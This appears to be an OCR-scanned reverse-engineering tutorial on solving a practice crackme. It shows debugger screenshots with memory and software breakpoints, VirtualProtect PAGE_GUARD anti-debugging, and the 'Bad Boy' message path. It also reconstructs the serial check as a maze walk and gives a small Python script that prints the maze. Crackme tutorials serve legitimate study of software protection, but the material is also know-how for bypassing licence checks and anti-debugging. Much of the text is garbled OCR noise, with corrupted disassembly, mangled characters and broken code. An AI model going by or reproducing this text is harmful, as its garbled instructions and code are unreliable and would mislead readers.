investigating officers were able to identify the key from a different source (say, for
example, from the records of the shop where the equipment was purchased) no one
would argue that the key was not distinct from the equipment which was to be accessed,
and indeed the individual who owned the equipment and knew the key to it" (S & Anor v.
R [2009] 1 All ER 716, [2008] EWCA Crim 2177).
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s . « _* T xMerhory-Bfeakpointx 1 " x s {1] . Bréak-On*Access s -~ 1. s {1 L
S _ x Memory breakpoint s: ¢ s

2"y s { xMenmaory Breakpoint Yy xd4sy « *-H A7 A 1" o A0 0 . 0 4
VirtualProtect S 4« < 7 X L« X .ot 47 L 'RAGE: GUARD-L - ~7 X:.Xx]"f €5

> ~ o
_J S\.-I,, « S s -IH

VirtualProtect s 1 x s Software) Breakpoint + 1 _ " x . ¥ « X 41 X I
_Xn”x._l”nx

File ‘Wiew Debug Plugins Options Window Help
Sl x| wn| w3+ g1 | ) L|E[M|T|W/H[C|/|K[B|R|..|S]

[ cPU - main thread, module kernel32

CrackMed . BR44E450 Fegisters (FFUI
e

EE
H DNSEB ETR 55: [EBP+141] TLCISE! ntdll.KiFastSys

ERE USH ~1 i
o N CrackMed. 8844549
ES cSFRFFFE | BALL . CrackMed. 0844549

B1ADE kernel32.Uirtua

18686
]

1
@
@816
5]
5]
&l

3B
. 7CE0ERES g
. FCEB24C6 LastErr ERROR_SUCCI

551 [EEF-281, EDI BEERE2GE (MO, HE, HE

R SgS:[EEF-2C1,EDI

Ol DWORD PTR SS: [EBP-281,EDI 5T gmg‘és ZoHaRn
0l DWORD PTR SS: [EBP-1C1,EDI EMptY
oy _EEH,DWORD PTR SS5: [EEF+181 empty
HZ_kerne 2. FLEB1EFD i
EST P18 EMpEY
2 kernel32. FCEB1CES EMptY
SH DWORD PTR S5: [EEF+2

EHEEEXDNDRD PTR S5: [EBP 2C1 4EEG
ALL DWORD PTR DS:C<&ntdll.RtlInitUnicos ntdll.RtlInitUnicodeString B Es (E
JU ERX,DWORD FTR DS: [FCE2424C]

e T T
Cme T

E kerne 32, PCEBLCT
oL DWORD FTR S5: [EEP 241, EBX
65 OC 82 D DWORD PTR 55: [EBF-241, =
7S 14 2 SHORT kernel32.rCe01B57
vry F_ER,EDI
7 E SHORT kernel32.7C381B57
g3C8 24 0D El
18840 C4 U %, IORODTPTRISSE [EBP 301
£E: 2BEZ F CH,WORD PTR DS: [EAX
54 S5@18668 kernel32, FCEE1CEC
6613370 C4 F_WORD PTR S5:[EEBP=3C1, DI b
¥

CALL to WirtwalProtect from CrackMed.B8481163
ﬂddress = BEEERDEE

iz 4
NeuProtect = PHGE_EXECUTE_RERD: PRGE_GURRD
plldProtect = BALZFFE4

CrackMed. AA445430
CrackMed. BA445430

JBCY
BFS4 91810868

BE12FECS
FCOSFE20(ntdl L. Rt IHEStatusToDosError
Bo1ZFESAl BO1ZFEZ4

<

| Top | Paused

| Breakpoint at kemel32 VirtualProtect

v Cs 9x00BROOOD - x x s s o F o ITxxge ,0s  sT L ] D oxde L)L
PAGE GUARD-S  © ~ .~ 8 i xeedls. = 4%

FAdr~d . x p ]l xX
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|2

GEIZFERD| BEBOEEAE | Address = DOEOREEG
HE12FEAC| BEAaEEad )| Size = 4

BRIZFELIG| @Ea0E]1268 | HewProteot = PAGE_EXECUTE_READ!PAGE_GUARD
BE12FE14| @El12FFa4 | kp0ldProtect = BE1ZFFa4

BE1=FE12| 2C207F10

BE12FEIC| BE44549E| CrackMed. BE44E490

BE12FEZH| BE445496| CrackMed. BB445490

[FEETNI=TS [CHLL to UirtualProtect from CrackMed. 8848

=

ARl ?FF>4l FFFFFFFF
3 il >
PAGE_EXECUTE_READ-L~ ~» © _ _ X4 8 S7 ¥ ssf o, sX{ "]*x s o,
[t s s w47 T 10 AV 4y PRAMOM T H Y~ 1 % D4 Isd TS 4T ] L e X e X
L T e R L A e e B L L T IV
s . 1" ] s .
SR U BN ST 14 Lxsdlsx I PV N I
L ™ 1 . S
R N T B AC e A LN A AU L L T

. Bad Boy" - | | xMessageBox

PAL . Txddd o x T D xs - 1Bad Boy-v ~ X ¥ s ¥ s f 4 40X
.OK To”x xs ] A +«.lwrMessagdBoxA s H . Bréakpoffit _

v

S X Ix M i_d.y¥yse X {1l s g 4 BadBoey-s T4 b,xss s x|
;BadBoy X I x s - X Lo« ] D S I X, PXs s [ X " I
S XS s T, s s {0 " x T s X IAPHE X X oxpd 1 XXy

LS xoo U GrdateWindowEXA s 1 . <« " X L CreateMindowA x

MessageBoxExA s 4 « « 7 x s <« {Nlessag8BoxA s 1 . 7 x X s x o ox {1 X

> >

s 4«7 x s 1Y+ { MessageBoxTimeoutA s 4 . « 7" x s-o 4 ot Y v ds
ce(e X, A s O 2 (O ) MisdsageBOxTimeoutW
MessageBoxA-L - X ~ {4 1 s« 4. o 0 0" e 495 cd T dX s x sh
1+ s MeSsageBox -, xs L X ox 7 DAY STy L s s KX s

.MessagBoxA s 4+ 7 x Beeakpoint + 1 _ 1

e A e x>
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X
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" . < . . ”
R Sl o 40 ¥ 0 IMessageBoxEXA L Breakpoint k1 L 1~ 3«4
- N 5 2 ~ ~ v
g o X v ; : xJ, 0 %
d 50 X4« T MessageBbxTimeoutA | X & Xppd XXX
EENESESE  cerr TiOD EDT, ED1 ~ |Registers (FPU)
TrOZEFEAIL . EE —[ER rrOZSFES LISER
FroseFEB|| @ BBEC Ml EEF, ESP B ARBFESCE
rrozereD|| . &1 POSH EC O BB IZF7E4 ASCI
7rosSFEE|[ . &1 POSH ECH EE BoBonmET
rrossFEF|| . B3 PUSH EE¥ ESF mniZFrd
rrozerFe|| . 6 POSH EST EoF BbizFooe
7POSEFFL 2308 OR EER, BB EST BP4ZET0E Crac
PrOSEFES 7 FOSH_EDT
FrOSEFF 33FF wOR EDI,EDI EDL BB12rsan
PPOSEFFE 3 THC EE¥ EIF 7PDISFES USER
PrOSEFET 83CE FF OR_ESI,FFFFFEFE
rrozerFn(| - 2970 o CHP DUIBRDPTR 'SSYLEBR#ET, EDT B0 &R
PPOZEFFD 570 FC FoU DWORD PTR SS:CEEP-43,EDI R & st des a5ht
PrOSEEEE 37D Fe Moy _DWORD PTR SS:[EBP=81,E01 28 BE Gees oobi
PrOZE0E3 74 14 JE SHORT USER3Z.rrD36813 SR Fi eeot 32bi
rrozeons|| L &3 PUSH EEY 8 &S oomm Ll
IRsan [ Bbes ro LEh Rt DUORD PTR 5S¢ [EEP=41 oE
erozsoen|| - E8 PUSH EAR ) DB Lopdsyy Silid
Insae: BRes ec FO2l Blioro PTR ss:rEBP+ca EFL geemmame (10
. H +
FrozeneE|| - &7 POSH EDI gL HOE
Prozenis|| . ES 424CFEFF |CALL USERSZ, METOWCSE: S15 Enpto AONORH
rrozenis|| L 85ce TEST EA, EAX 215 ShED 4.mEeds
7rozeni?|| i 74 29 JE SHORT USER3Z. 77036042 213 onbrD TOHORHN
7rozenis|| 3 5970 18 CHP_DWORD PTR_S5:CEEF+181, EDI S1e Embts +OMORH
rrozenic|| v 74 28 JE_SHORT USER3Z.rrOS6846 e Hatirte
7rozesiE|] PUSH EEX S5 enbY i AnaeD
7rozeaiF|| L E8 PUSH EST SnRTy LR
rrozenze|| . 8045 Fs LER EAX, DUDRDSPTRISSHIEER=E] FST 4868 Cond 1
rrozenzs|| . Ee FUSH EA%
rrozenzal| I ge FUSH EST IFED EEl7 [Fsem [
rrozenzs|| . FEPS 18 FUSH DUORD PTR S5 [EBP+16]
rrozenzs|| | FUS E
7r026025|| 1 ES 294CFEFF |CALL USERSZ, METOWCSEw
rrozenze|| . 85CE TEST ERA, EAX
rrozenze|| Lo 78 14 JHZ SHORT USERSE.PrD3E646
rrozenzz|| o FERE FC PUSH DWORDCPTR. S5: [EEP=41 pMemory
rroens|| . B F R B rlllags v
< b4
EOT=0012F 560
Local call from MessageBoxExA+1é
eEaee |[Fan e RECII a BEAD1EA4] RETURN ©0 CrackMed. BE4B15A4 ¥
D8440000| BC 10 48 00| 09 B0 00 08|05 57 45 00| 28 00 44 80| .#E.....BrC. (.0, il SR R tCaoCC| F— 0@D =
BE446016| 92 37 42 GO0 GF 44 @6 E4 37 42 00|70 60 44 86|GFC.’.0.EFC.p.0. B01EFSEE| RECTT "Ermage’ 1FEE
BE44A020| B8 P B9 GRG0 OF @9 DB 44 37 43 BB 61 B 0O BA|..... LO7C.8. .. n o
88440030
aRd4a0d0 FEFRFEFE
BB445050 -
poddance Baiatess
@@44@@?@ -= 27 1 ARAZEFFA]l Craclk-Mel ARA2DFTE :
& il > >
. - X
st I x s s S X sy L1 X
CrackMe05
Enter Ky
- - L] Debug Yourself
kj=dFlkj .
” X ” H = x x .
417 . . X X" Breakpoint-s4 ¢« x s {¢€ FS )X 4 X s, 1w ds R g
N7y X
X
[ DT, X 41X
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S : s x s Yy4H4NET )
~ v ~ v o~ K .
nti-Anti Debugging ~ _ ~ _* 4 Software Breakpbintst* x A x " :
o . . § > ) ~ . .
INT3 -Software Breakpoint-s . Px o o xvos Do b dYy 41 k1
” . . ” . . ” .
sS4 .7 x s ! Bredkpoltsx " . s Is{§ 147 |ls
H . ” ” = . . ” .
Breakpoint * x 1 1 x 7" | s 4.7 x s X w8 T dRB A 4T ]
1. x X, 4%, 711" «ix7 « Bseakpotntss  xi e v 4 0 L 1 x 7
~ ! ~ ~
Zroacres) er noy et ot & |Reaizters (FI
i - —IEn 7rOZGrED
7OSSREB|| . BEEC MOU EBF, ESP i) M
77DzerED|| . 51 SH EC ol ety
77DZEFEE|[ .+ Bl FOSH ECH e heh
77DZEFEF|[ . &8 FOSH EEY it ki)
reDacrral| . S8 FUSH EST B e
Shserrs| T & POEH EpT EST Boogoggd
7roacrFa|| - 33FF %0R EDI,EDI B0R] (RS
rroacrrel| - a3 THC EBH EIP 77O3SFEA
7oasrFr|| - g3cE FE OR ESI,FFFFFEFF BE B
rrozerFal| - 2990 e CHP DIIERD PTR S5¢LEBF*C1,EOI BY B
rrozerFol| » &3eD FC FOU DWCRD PTR &5:LEBP-41,EO0T oA B
Fr0zemoa|| o B3VD FE HOU DWCRD PTR S5:LEBP-21,EOT i B
rrozemnz|| o 74 14 JE SHORT USERSZ. 77036815 B
REOE e | FUSH EBX S
Sninn|| - Bhas e E P e DUDRDTFTRY SSEEEF=41 e
7703coen|| - Se PLISH EA% i DO [eodass
77Dzemee|| . Ge PUSH ESI EFL @BBOAZES
cebssaac)| 1 FEvS ec FOSH DUORD PTR S%5: [EBF+C] e p—
P03e610|| R 424cFeFF |GACL OSERSZ.HETOUGSEN =12 G
7rnzeais|| - TEST [
. 5T2 empty 4.1
rrnzeaiy|| o 74 2 JE SHORT USERSZ, 77036842 ELE R e
rrozenio|| 3 39e0 18 CHP_ OWORD PTR S5:LEBP+1@1, EDI e fnow i
crbseaic | v JE_ SHORT USERS2. /7035046 LR
mrl B | —
cozall . : : [EEP- FST 488@ Coi
77036 - FUSH ER% -
77Daceza|| . B FUSH ESI IREL) CERF [Py
rrozenzs|| o FFes 18 FUSH DWORD PTR S5i [EBP+161
riDzemza|| - 57 FUSH EDI
7r02e629|| - EB 294CFBFF |CALL USERSZ.MBTSUCSEx v
mEsEE = BEE et e v
£ >
EEF=GO1ZF 52t
Address | Hew dunp AECIT ERETARY 070 1CRd [FETUR o CrackTied. Boqatons
GE44GE00] 6L 10 40 66| 60 08 6O 60| 08 o7 43 O8] 20 60 44 60|, 46, ... AR = N : N
0E440810( 95 37 43 08|60 BA 44 00 E4 37 43 0A| 78 @0 44 08| §7C. .0.E7C.p. 0. | e R el e B
GO44BG20| 05 09 G0 02| 05 GO G0 G0(44 37 42 60|01 05 60 60, B o — | An1cFoea| BRBRRRSE ene
e e £ S A R R 1R ) 5 e R R R )| oolifeOac ¥\ oe12Fras| pepsooEn
X
S BT B S A
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o~ ¢~ 10x00401860 - *

0x0040185C
1~

Lo

(OX19+0x0A) 3 5, L x | v

. @verflow

L~ ‘IL,”‘-V‘IS”

ES «

LD x4

. ” ” ”
S v e s pxs] o "XV % . RETN-, 0 X« 2 s
|BE4E1229) »  CF45 FC FFFF| MOU DWORDT PTR SS:LCEEFP-41,-1
Ba4E1246) .~ EB 14 JHMFP SHORT CrackMeB, 88481856
Bad4a1842 ES 48184088 | MOU ERX, CrackMed. 88481548
Ba4E1247| . C3 EETH
EEd4Eisds) . SASD 83 MO EL,.EBYTE FTR 5S: CEEF-FO1
ER4E1s4E| o B8B95 YSFFFFFI MOU EDH, OWORD FTE S55: [EEF-281]
ER4E1s51) . Al Sa54448@ | MOU ERA, OWORD PTR DS5: [445420]
ER4E1IEEE) > B3CZ2 Fé AOO EDO, —EH
ER4E1eE9l . 83FA 19 CHP EDOX, 19
BE4E125C) .~ FF 15 JH SHORT CrackMed.B84E61873
Ea4E125El o 24DB TEST BL,EL
Bad4R126E| .~ ¥5 11 JHE SHORT CrackMed. BB4A1873
EEdElscz) . 2040 24 LEA ECH,DWORD FTE SS:[EEF=FC1
Ba4E18c5( o 51 FUSH ECH
BALE] 66 SB30 FCEFFFFFI MOW ECH, OWORD FTR S5: [EEF-541
BA4E1 260 E2 9FFOFFFF |CALL CrackMed.BR4A1616H
Ba4E1271| ~-EB 21 JHMFP SHORT CrackMed.884812A4
Ba4a1373( > | 33C9 AOR ECH, ECH
Ead4El1s7s x| SB7480 BS 49| X0 BYTE FTRE S5: [EEF+ECE-481, 42
Ba4E1svA( o | 83C1 Bl AOO ECH, 1
Ba4@a137v0( . | 83F2 32 CHP ECH, 32
Baa4@1ssE( .~ 72 F3 JE SHORT CrackMed.BAd4E]187S
BA4E1Z322 CedE DE @@ MO BYTE FTRE S5: [EEF-221, 4
BA4E1 826 28230 FCFFFFFI MOW ECH, OWORD PTR S5: LEEF-241
EA4E182C 2EC9 TEST ECH,ECH
BAa48132E | 74 B3 JE SHORT CrackHMed.BB4a1593
Ba4E1 326 SB49 2@ MOU ECH, OWORD PTR DS: [ECH+281]
Ba4E1g93( » | 6H FF FUSH -1
EEA4E1S95( . | GH @A FUSH &
BALE1S97 &A 2@ FUSH =&
BEALE]1Z399 20EE EB LEA EDX, DWORD FTRE S5:[EEF-2E1
BA4E189C 2 FUSH EDX
Ea4E1890 205 B2 LEA EDX,DWORD FTRE S5:[EEF-421
Bad4a12A8 52 FUSH EDX
Ba4E12A1 E1 FUSH ECH
BE4E 1 2R FFDE CALL ERA
SEIEIEEE 5 b8B4D_F4 | HOU ECH,DUDRD PTR_$5:[EBR-CI
x T ]x s { < BadBey-L  SXHL s | x.(x
DXKX s o4 oL b LAY S .. XS I0x0040285C* S . f y xS
LRk - - ” . A ”
_ AT ADx00401856 : * x © ] si.i{. 1<*s 1 "  Breakpoint 4 s s

A N Y

X LoX Xy

LY S v 4 s I(QOK0A~ X S 1
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s, xs %

b X I v 10401860 -4*1x BL * s e o A x o A
S .o X ]«
K3l U . X1l Pk AR ELE,
Goanirce| T 8995 7oFFFFF Hoy DIIRRGS PTRYSSECERR= EE1, EDX
pE4EIFO0S| - B5FE TEST ESI,ESI
BE4E1707| -~ FE 2A JLE SHORT CrackMed, BE4E1913
Ga4a170%) . S0A424 GoG@e LEA ESF,OWORD PTR 55:CESP]
GE4A1FER| > BA4415 94 MOY AL, BYTE PTR 55: CEEP+EOW=FCI
@E4a17ES| . SA4CIE 8% MOU CL,EBYTE FTR S5: [EEF+EDH-FE]
eE4a17ES| . Z2CE ®OR CL, AL
eE4a17ER| . BF94C1 SETE CL
eE4a17ED| . @A09 OR EL,CL
BE4A1FEF| . 2C 91 SUE AL, 1
BE4E1FEL| . BS4415 94 MOU ERTETPTRISSH[EBPFEDE=FET, AL
BE4EIFFE| . 9 4F CHP AL, 4F
BE4a17F7| . BFAFC1 SETE CL
eE4a17FA| . 30 48 CHP AL, 46
@E4a17FC| . BFICCE SETL AL
eE4a17FF| . BAcs OF GCL, AL
eE4a1SE1| . BADS OR_EL, CL
pE4E1EEE| . 8302 @1 AOD ECY, 1
pR4EisEs| - SBOS CHP ED,ESI
BE4E1262| .~ FC DG JL SHORT CrackMef.BE4m17ER
God4mison| . 9995 PEFFFFFI MOV DWORD PTR S5:CEEF—851, EDN
Godaizinl . 880 &2 ML BYTE PTR S5: CEEP-7O01, ElL e
GE461212( > CF4E FC GGEE MY DWORD PTR S5:CEBF—41,
gE4m121A) . Al SES444@8 |MOY EAZ,DWORD PTR OS5 :44548@1
eE4a1SiF| . S5cE TEST EAX,EAH
eE4a1SZL| v 74 16 JE SHORT CrackHed.a@4m1s59
PE4EIEEE| . 8EZE CC CHP EYTE PTR DOS:[EA®I,GCC
PE4E122E| o~ FE 11 JMZ SHORT CrackMed.3B4m1sso
BE4E1222 . B9 GOEEOEEE |MOU ECH,D
oodaizznl . BE BBET43GE |MOU ESI,CrackMed.Bn4357E6
Go4mizsz| . 8070 BE LEA EOI,OWORD PTR 55: CEEF=451
PE4E1S35| . F3:A% REF MOUS DWORD PTR ES: [ECII,OWORD FTF
BE4a1S37| . 6E:AS FMOUS WORD PTR ES:[ECIT,WORD PTR DS: LE
BE4a1232 > GCF4S FC FFFFI MOV OWORDVETRYSS:ICEEF=41,-1
eE4a1S4n| v -EE 14 JHP SHORT CrackMed, BB4n1S56
pE4nizdz| . | BS 489184m@@ |MOY EAR,CrackMed, BR4G1S4E
pE4E1247| - | C2 RETH
pod4mizd4n| . | 8RS0 82 FMOU EL, BYTE ETR SS: [EEF=7D] e
God4miz4e| . | 8BS FEFFFFFIMOU EOX, DWORD PTR 55:CEEP-587
Ga4a12cl| . | Al SEG444G@ |MOY EAX,OWORD PTR OF:C44545@7
EEEENERE - »Socz Fo AOD EDX, —EA
x 4 s XXX X 8 s 4 D BL . X 1. L o1,
Lo BU-> + EBP-7TD * x 1 X T x| v BFL LT S X -
X v o,y RIS e N N S+ ., X8 X h
L, 4~ S Lo x44]° xOxOOUQLZEQ: I X x 1x LN B T P S T
s T X s s o s s xde s b e ]
while (i < strlen( Serial))

if (Serial[i]® Serialli+1] == 0)
BL=1,

Serialli] -=1;

if  (!(Serial[i] < Ox4F && Serial[i] > 0x40 )
BL =1;

i++;

[ T . T S I e S
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25

'IYxLA,st)q\Jx)Sx :X"L ]X\.OR::XL\.X >-I X . .HSY X L X s s 7
A a8 XX o T LS ] s X 1+ XOR- s 1{s
Pl 19 s
S, L . I x & s X S s 7 X JA1X 94 s L s |19 .
O I - 1 0 )0k4L B OxB0_ w4 kX s 07 4% CX s 2 s 14 Lo~
JAVP A xx s 4L, (0TS Yy x o {4s s
P4 s JXe o bx o b o 1YY
x 11685171 xx 19X x sy xd 447 L Ad.
S : Fx s X « S s2” X L1~
(Uppercase-* xxX{ oo 1) AYP oK {4 x Dos T x x 1 X 1 x {3, *4 471 0
P X0 T Losedesd 54 70 X7 | Breakpbint! f x X ox
”””””””” > 88c2Fé T |@OD EO¥,-em T T
HE4AE1SES] . B3FA 19 CHMP_EDX, 12
BE4E19EC| . 77 LG JO_SHORT CrackMed. 364681873
BE4E13EE 8405 TEST EL,EL
BE4E1ZEE| .~ 7S 11 JHE SHORT CrackMed, 86461273
BE4E12E62 8040 24 LEA ECX,DWORO FTR S5: LEEF—7C]
BE4E 1565 El FUSH ECH
BE48 1566 8BS0 _FCFFFFFI MOY ECH, DWORDVETRYSS: LEEF=541
ES SFFOFFFF |CALL CrackMs8. 6481616
J:I‘X‘les . Xu”x X"
L~ 1~ 000401610 - * x = | X fe s S XX JLXS e o x T, X XK
.MessageBoxTimeoutA-. s «~ {1 ~» « S | AT B P R IO RN
.0x00401610-* _ s 4 « " x X a7 L~ 41~ s LI A N
e A e x>
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BE4B152A
BA4E163F
BE4E1E44
BE401643
BE4E 1540
BE4E1E5E
BE4E1EE2
BE48155H
BE4E 1650
BE4G1650
BE4E 1662
BE4E16504
BE4BlecG
AA40 15 EE

BE4E1E 7S
BE4B8167H
BE4E1528
BA4E1622
BE4E1625
BE4E1627
BE4E1629
BE4G152E
BE4E1E20
BE461528
gE4e1e32
BA4GA1535
BA4E1632
BE4E1590
BE41e30
BE46 158
BA4E1EA2
BE4E1EAD
BE4E16AC
BE4E15RE
BA4E1EE]
BE4E1EES
BE4016EG
BE401cES
BE4615EE
BA4E16EE
BE4E1EC1
BE481603
BE4E15CH
BA4E1EC0
BE4E1E0E
gE41c02
BE4E 1505
BE4E160:2
BE4E1E0A
BE461500
BE401cER
BR4B16ES
BA4E16ES
BE4E1EES
BE4816ER
BE4E15EC
BA4E1E6EE
BR4B1EFA
BA4E1EF2
BE4E1EFS
BE4E816FH
BE4E1EFC
BE4G17HE
BE4E17E?
BE40 17 ES
BE4E17ED
BE4G17EA
BE4E17EE
BE4E 17 EC

BE4617aF

o

nE SR e

PR

BB D12%944@8
BF SFzZA44@8
E2 DAESEDEE
S3C4 B4
294424 14
CP4424 20 G@
2ECE

74 B2

A

E2 EEBZEGEEEA
EE B2

33ce

Cr4d424 28 FF
SBEC24 28
#E21FE Z3ZR44a
7E B2

SLFF _Z232A448
74 563

SASE 6@

24|

7
FF243E 14174
22EE B1

EE B0
B3EE 1R
2303 Bl
EE B3
S3C3 1R
C1EE B2
B3FE B3
77 22
FF24BS 24174
83EF &1
B3CE A1

SBCE

2BS2 cCelanm
FFDg
SB4C24 12
G4: 89680 GAGE

C2 B408

MOW EEX, CrackMed. @A442901
HMOW E0T, CrackMed. BA442A5F
CALL CrackMed.B@d4ainzs

o0 ESF,

MOU OWORD PTR S5: [ESP+141,ERX
HMOU OWORD PTR =5: [ESP+2E], A
TEST EAK,EAX

JE SHORT CrackMed.Bo461564
PLSH ERX

CALL CrackMed.dR4@1356

JHMP SHORT CrackMed. @E461666
HWOR EHX,EHR

MOU DWORD PTR S5: [ESF+2E8], -1
MOU EEFP, OWORD PTR S5: CESP+281
rCHE EBX, CrackMed. BB442023
JHE SHORT CrackMed.BB40]1522
CHP_EDI, CrackMed. Ba442H22
JE SHORT CrackMed. a@4@16ER
MOV 0L, BYTE FTR S5: CEEF]
TEST OL,DOL

JE SHORT CrackMed, BE481cEE
MOl CL,BVTE PTR D5:[CEDID

OR CL,EYTE PTR DS:[EEX]
TEST CL, 4

JHE SHORT CrackMed.o84815EE

CHP_EDH, =

JA SHORT CrackMed. AE4816EE

JHMP DWORD PTR O:F: [EDM#d4+4@1714 1
SUEB EBX, 1

SHORT CrackMed.B8481cEBE

SHORT CrackMed.a84815BE
AOD EB, 1

SHORT CrackMed.B8481cEBE
HOD EBX, 1A

SHR ESI, 2

CHP ESI, =

<JHA SHORT CrackMed, BE4E1cEL
JHMP DWORD PTR D5: [ESI#d4+4E1724]
SUB EOI, 1

AODD EEF, 1
SH?RIHCrackHeB.BB4BIS?2

AOD EEF, 1
SHORT CrackMed. 88481672
EEI.I

SHORT CrackMed.B@481672
EDI, 1A

O EEF, 1

FU ?HDRT CrackMed. 88401572
JHP SHORT CrackMed. Ba4816F8
FLISH &

MOW EDX, OWORD PTR O5: CEAK]

MOL ECH, EAR

MOU ERX, OWORD PTR DS [EDH+1EC]
CALL ERA

LI ECH, OWCORDT PTR S5: CESP+181
OWORD PTR F5:[@1,ECH

Switch (cases 8..3)

of 51
=13
514
Case 2 of switch &€

Default case of swWi
Switch (cases B..3)

Case © switch

of switch

of

Cazse 1

Case 2 sWitch

Case @ of switch @€

Case 1| of switch @€
Case 2 of switch @

Case 2 of switch @€
Default case of swi

17 0xXDQ 4~ | s . TTO0X004016EE-L CHAY T s 111x"s L 1,
X " Bad Boy-s "lnvalid Key" x " . EAXM ¥ fx > s 4 7
1T XBAX-X « s 4« <7 x s OX004016EA - ~ % » | 1L CX o, ] <1,
-s 1 x A s ¢ s s,,'“,i'xl-[vs,,{‘%\}.,:’L A-IY@),)(O]_.IL,XA‘SS:L
x " Ggod Boy
x X1 11 0xOOHQL6EA-d x 8 < 4 <1 4 ¥ s o« {s X" ] s
e A e x>
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EBX =

LA XA XL e X T L% ] EDIEBXrH A Y ®ws {7
S T EE T T (S S A
0x00442D1
EDI = 0x00442A5F
O A I CE TN S BN Lok B A

Technologic

*

Fs 4 HAd L

s X7 s

DX ] ox .

TiAL . st X 0s Al 0 4T XA s 14 s L OxQ0404672 1 ¢

.BEBP-* v _.Xis_ . |
Axbxo 0 s e X By 0 s e s s
while  (true)
{
if (EBX && EDI == 0x00442A23)
goto GoodBoy;
if  (*SerialPointer == 0x00) // x oo e X A s Ll
goto BadBoy;
if ((*EBX|0x04 ==4) || (*EDI | Ox04 == 4))
goto BadBoy;
switch  ((*SerialPointer & Ox0F) & 0x03)
{
case 0:
EBX - =1;
case 1:
EBX - = Ox1A;
case 3:
EBX +=1;
case 2:
EBX += Ox1A,;
}
switch  ((*SerialPointer & Ox0F) >> 2)
{
case O:
EDI -=1;
case 1:
EDI -=0x1A ;
case 3:
EDI += 1,
case 2:
EDI += Ox1A;
}
SerialPointer++; /I s« L Xy Ll x o « Os s s s
}
e A e x>
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1Pl HAS s L e s ] ]

s .~ «-Qx00442A23 | . . EDH*EBX_ ¢ 1

Y X ws o s oL 11 s« x s

.Good Boy * " k,1 %% {7

S eSS AL,y xes A4 x4 14
Cxoex el e 4 . s switehls oA A0 oo v 4 L XL krRAdeYXXL0 s s XS
T A switch 17 o xx T xYs {4 EDIXEBX o, S PFLl4A 1 L d. %
LDl s .41t o40xART OX01 =SOx41)¢BY - K% Sswitch 4" 17 b« Dx e

A THEDE H OxIAX TEBX A 1~ Lo X X

cAPEBKIL . 4. puBDI T 4. 0 LT A D x e Ll LY TIPS b e
_s”x~ s , X (X ,_s-|"~ Lo

L1x4 s 1. 0t v 4Ly xes 4T b5 Oy sy S Dxx "] L]

L~ 4. s x| 0%00442A23 .« _ -« X

EDIXEBX v _ 41 1x7"s X

X T1X w0 alls x4 v s

it ((*EBX |0x04 == 4) || (*EDI

| 0x04 == 4))
goto BadBoy;

BN F I3 14xs 1. S LAl kALY XX XU D e X

Bad Boy *x 7 O, s~ 1, s

I x < X " lX o s=Ls.|.|X4|'_'yxw,,"I»q_’l.” L S ox X ;j X

5 Lo L Tgxs g Tiq
Cov 70x00442A23 s 4L R R 2 T T o N S O o S T
x4 s T sl BxX AL o x T L x

!-|>xv”-|\ . v BT fi{jdAi'?s”vasx”LIJx{y‘sv

Fdecd . x4 XX
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BEd 42200
B4 42206
HE4422E68
HE4428FE
HiE44 29686
HE44291 6
B4 2020
BEd 42020
B4 =946
BE44 29568
BE44 296568
HE44297E
HiE44 2926
B 42000
B4 =05
B4 4 =9E6
BE4429CH
BE44 29068
HE4429EH
HE4429FE
B4 2 ARG
BE442A16
B4 42026
BE44 202368
HE442H468
44 2H5E
BEd42HEE
BEd4 207 E
BEd42HEE
BE44 20968
BE442AAE
BE442ABE

4 4.

.0x00442A23 s, 1 L ~

" 0x00442A23

X X X

NULL 11 B » T4 4x:

X

:LJ‘- -|~,,-|VXS

X

Technolooic |

EBX ( _ s

18

X T X

X

”

[ S
N R

I = x L]
x {1 ¢ EPI-x EBX-X L

{ ¢ s

Ty s ooox g o

XLXXx“ J :\1:1\/5)(

AAd PN

ST L 4 9% s

ckMeBE019EE, . ...
SgEETa H rpi®™T A,
47k 14535971 =B ©
Jed5eB. LAl LEUCT
AT medis - izpd T
=3 g W BT - [ e
U T=FHIE] D' 5=
WHTeeEAt#fE gl
Hrpe3n AR ba™Y,
17| 2abt EMW—28E
SaYd2° 5 13- BJ¥UG
Lpiieij | 242 7r)fwh
B ltenTs=Uing ¢
thodsd Er i wall || #lrC
WFER-LES —4 ac FL=
' 34 9%< gEAowEL£ES
Aaaik_F.0ES(- 25
JBEAAimoadTe O
SET AR 1E|FRe. B

CHAGRE L En lye-T
Bre&qbEréuthe. E
ret. . T E

Segndi Nrkal 2, e

XXX

~

~

L

A

LEISed LS L

10

146

>

11 ~ 1

Reverse Engihéering

‘),(:”:LqLX

L

RINIEK RESEECH

XXX Ko ] sx q:

qM:

I S x ., 14634
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>xs ok ISte s AX] S s €
T s 44 4 x b X T e XX e ks X W 4 s B D e o x Ty
x(,,,.|,,yx‘s Lo );,,svl_‘|\svx~ sl> XS X X . s":-|‘v.|¢.|I¢'|s‘|_ ,_:xx“,,w

FLABOXIA Lo X . X LS DX oL T T XX ONODKLAX SX WS Die_ 1s.64¢7s

> v

Ps*q " s"yr " b X YOx1A . S C O s L xS, Xl

1] x X I x « ~ 1 1€ s ¢
Ztv X T s ., 1 _s '-‘X”l-v""ln”v:s‘ Z=x-|>§AZx‘,,JW|_“X~1x-|~nJ LsJ)xv”s B . L
ST T s x0T Ll AN XIS xx o x B ] Dl ox 7

Is 1 L X<«s/ Sy _ 1L
Do YR IR TS Ly 1 s et o x p lx s es T4, s RS B B Ll
Ix 2 .x o DX T (OIA) 261 X o, X L S I X « L 1L X x "o

Iox x X x kodR LD X xS s ] L I x 7

:Python-* s 7 ] x Is C4sl Xgi |8 « "0 X L
File = open( "maze.mem", 't );
Output = open(  "Output.txt" ,'at )
Rows = File.read().split( “\n');

for row in range(0,len(Rows)):
Bytes = Rows[row].split( "\ x20" );
for Byte in range (0, len(Bytes)):
if (int (Bytes[Byte], 16) & 4 == 4):
Bytes[Byte] = XX

Output.write(Bytes[Byte] + "\ x20' );
Output.write( “\n');

[2.6 L DoxLox ot d D 1A L mdzemem], |~ 1S

e A e x>
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1 53 EX XX XY XX XY C3 XY XY XX A6 XX XX XX XX XX XX XX XX 94 25 11 XX 53 79 FB
Z X¥ FO 03 Cz B9 F3 XX 9B 12 53 XX 42 0& 80 C1 XX 28 7B 82 XX 43 5B 00 44 X¥ C3
3 XE 91 XX A3 XE FA A1 7A XX 11 20 C2 B3 XX 53 7B 72 XX BE 09 XX XX EE CE XX 08
4 XE 63 X DO DB XX XX XX 45 XX XX XX ¥ AR E¥ XX ¥ FA X¥ C3 13 91 X¥ 30 21 HX
